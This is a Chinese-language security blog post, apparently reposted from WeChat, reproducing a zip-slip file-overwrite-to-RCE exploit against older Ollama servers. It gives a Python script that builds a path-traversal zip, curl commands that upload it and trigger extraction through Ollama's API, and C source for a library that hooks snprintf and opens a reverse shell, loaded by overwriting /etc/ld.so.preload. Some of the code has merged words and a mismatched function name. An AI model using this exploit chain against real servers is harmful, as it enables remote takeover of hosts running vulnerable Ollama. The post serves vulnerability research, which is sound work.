在研究ollama CVE-2024-37032的时候发现ollama低版本任意文件读取和任意文件覆盖导致RCE
任意文件读取网上复现文章比较多,但是文件覆盖到rce复现细节大多不够完整,于是动手复现分析一波.
大致思路参考:
在翻pr的时候在ollama commit中找到个zip相关的修复:
https://github.com/ollama/ollama/pull/5314/commits/a4a83f3cfa5baf516cf7cceb45f05a65cd9b9a6a
主要是改了parseFromZipFile这个函数,
查看修改之前的parseFromZipFile发现确实有点问题, 解压时没校验文件解压路径, 可以构造zip文件然后触发zip解压导致文件覆盖.
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("pwned.txt", "../../../../../../../../../tmp/pwned.txt", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
然后需要考虑两件事:
1. 文件上传, 首先得能找到接口可以把文件上传到ollama的服务端. 翻文档看到/api/blobs/:digest 接口支持上传blobs文件
$sha256sum poc.zip
d0200bc27bb317b2ee97beef3da991ea5da4088204d1a9dc4b6f90c0785b71b0 poc.zip
$curl -T poc.zip -X POST 127.0.0.1:11434/api/blobs/sha256:d0200bc27bb317b2ee97beef3da991ea5da4088204d1a9dc4b6f90c0785b71b0
2. 触发解压, 这个一直回溯parseFromZipFile调用就能找到, 发现在调用/api/create接口的时候可以触发parseFromZipFile
调用栈:
CreateModelHandler() --> CreateModel(...) --> parseFromFile(..) --> parseFromZipFile()
请求:
curl http://127.0.0.1:11434/api/create -d '{
"model": "test-1",
"modelfile": "FROM ~/.ollama/models/blobs/sha256-d0200bc27bb317b2ee97beef3da991ea5da4088204d1a9dc4b6f90c0785b71b0"
}'
覆盖/etc/ld.so.preload RCE:
poc.c:
//gcc -shared -o vuln.so -fPIC poc.c
intshell(){
int sock;
structsockaddr_in serv_addr;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
serv_addr.sin_port = htons(REMOTE_PORT);
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) {
perror("connect");
close(sock);
exit(EXIT_FAILURE);
}
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", NULL, NULL);
close(sock);
return0; }
// hooked snprintf
intsnprintf(char *buffer, size_t n, constchar *format, ...){
printf("snprintf hooking!n");
shell();
return0;
}
复现
1. 制作zipslip文件
# zipFile.write("ld_preload.txt", "../../../../../../../../../etc/ld.so.preload", zipfile.ZIP_DEFLATED)
# zipFile.write("poc.so", "../../../../../../../../../tmp/poc.so", zipfile.ZIP_DEFLATED)
2. 上传
curl -T poc.zip -XPOST169.254.0.3:11434/api/blobs/sha256:1d99838d36e38e60cd5bdb0fcace0558df122c6934b59ce9c062a86decf4add7
curl -T poc_preload.zip -XPOST169.254.0.3:11434/api/blobs/sha256:02460a931831257d96e183c4457a769f0494712cec6f411449fba100a5910885
3. 触发zipslip
curl http://169.254.0.3:11434/api/create -d '{
"model": "test-1",
"modelfile": "FROM ~/.ollama/models/blobs/sha256-1d99838d36e38e60cd5bdb0fcace0558df122c6934b59ce9c062a86decf4add7"
}'
curl http://169.254.0.3:11434/api/create -d '{
"model": "test-2",
"modelfile": "FROM ~/.ollama/models/blobs/sha256-02460a931831257d96e183c4457a769f0494712cec6f411449fba100a5910885"
}'
Over.
参考 https://huntr.com/bounties/aeb82e05-484f-4431-9ede-25a3478d8dbb
原文始发于微信公众号(谁不想当剑仙):ollama低版本任意文件覆盖RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论